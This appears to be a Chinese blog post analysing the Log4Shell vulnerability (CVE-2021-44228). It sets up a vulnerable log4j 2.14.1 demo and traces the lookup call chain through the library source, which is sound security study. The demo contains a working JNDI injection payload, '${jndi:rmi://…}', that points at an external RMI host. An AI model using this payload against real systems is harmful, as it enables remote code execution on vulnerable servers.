Log4j反序列化

CVE-2021-44228

环境搭建

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.ocean;

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LoggerContext;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.LoggerConfig;

public class Log4j_vul {
public static final Logger logger = LogManager.getLogger(Log4j_vul.class);
public static void main(String[] args) {
LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
Configuration config = ctx.getConfiguration();
LoggerConfig loggerConfig = config.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);
loggerConfig.setLevel(Level.ALL);
ctx.updateLoggers();
String message = "${jndi:rmi://10.169.5.252:1099/mad9ab}";
logger.info(message);
}
}

这里说一嘴这里其实用info /error/ warn方法都是可以触发漏洞的只不过他们三个方法个字对应的日志级别不一样。

调用链

由于后半部分是由于jndi漏洞造成的,所以我们先将断点下在InitialContext类的lookup方法这里然后回看调用栈。

这里先给出调用栈,然后我们逐步分析一下

这里会跟进logIfEnabled方法里跟进去

这里会传入我们定义的日志信息还有日志等级等我们这里的等级是INFO,继续向下跟进去logMessage方法

可以看到使用messageFactory对象创建一个message对象这里面包含的其实还是我们传入的日志信息继续向下跟

没啥逻辑跟进去

这里也没什么东西也继续跟进

这里也是没啥说的后面会调用过个log方法我们直接略过跟到关键部分

跟到PatternLayout类的toSerialize方法里在这里有一个for循环,在循环到第8次的时候会得到MessagePatternConverter对象,调用其format方法跟到里面看看

这里的converter是MessagePatternConverter继续跟进

这里我就直接引用师哥的解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {

final Message msg = event.getMessage();
// 如果msg实现了StringBuilderFormattable接口,进入这里
if (msg instanceof StringBuilderFormattable) {
// textRenderer为null,这里直接为toAppendTo
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

// 获取初始长度作为偏移量
final int offset = workingBuilder.length();
// 如果msg实现了MultiFormatStringBuilderFormattable接口
// 不管进入哪个分支,都需要进行formatTo方法进行格式化,作用是将格式化的内容添加到workingBuilder中
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
// 进入这里
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}

// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 检查workingBuilder中是否存在${}格式的占位符
// 得到i为64
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 提取offset到结尾的部分,相当于获取formatTo加上去的内容
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);

// 使用配置对象中的StrSubstitutor替换占位符为相应的值
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
// 如果需要渲染,则使用textRenderer对workingBuilder进行渲染,并将结果追加到toAppendTo中
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
// 后面可以忽略
if (msg != null) {
String result;
// 如果消息实现了MultiformatMessage接口,调用getFormattedMessage方法获取格式化后的消息
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
// 使用config中的StrSubstitutor替换占位符为相应的值
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}

这里的关键点在于for循环里主要判断在workingBuilder中是否存在${}格式的占位符,如果存在,就调用config.getStrSubstitutor().replace(event, value)方法进行替换。

这里会先进入AbstractConfiguration类的getStrSubstitutor方法会直接返回StrSubstitutor对象

所以跟进这个类的replace方法里去

创建一个StringBuilder对象buf,并将source作为初始内容,调用substitute方法进行替换操作,如果没有进行替换,则返回原始的source字符串。跟进看看

继续跟进

看关键点在这个while循环里,这里我直接参考su18佬和师哥的解释

参考:https://xz.aliyun.com/t/13077

https://tttang.com/archive/1378/#toc_0x00

然后继续跟到resolveVeriable方法里

这里会掉用Interpolator类的lookup方法跟进去

这里会调用jndiLookup类的lookup方法继续跟进

然后会调用JndiManager类的lookup方法跟进

这里会调用InitialContext类的lookup方法之后就是jndi的利用了

这里引用师哥的总结

三个关键点:

  1. 在PatternLayout类的toSerializable方法中,调用MessagePatternConverter的format方法,这个方法是一个格式化的过程,将格式化的内容添加到workingBuilder中,也就是将源代码中的message替换{},同时匹配字符串中是否存在${}占位符,并使用config.getStrSubstitutor().replace进行替换
  2. 在StrSubstitutor类的substitute方法中,提取${}中的内容,并调用StrSubstitutor类resolveVariable方法对其解析
  3. 在Interpolator类的lookup方法中,根据前缀在map中获取对应的StrLookup对象,然后调用其lookup方法,这里的前缀为jndi,所以获取的是JndiLookup对象,然后调用其lookup方法,这个方法调用了jndiManager.lookup方法

rc1

参考https://xz.aliyun.com/t/13077

https://tttang.com/archive/1378/

写的很详细自己就不跟了直接看原文更好

不出网的一些方式

参考:https://cloud.tencent.com/developer/article/2036012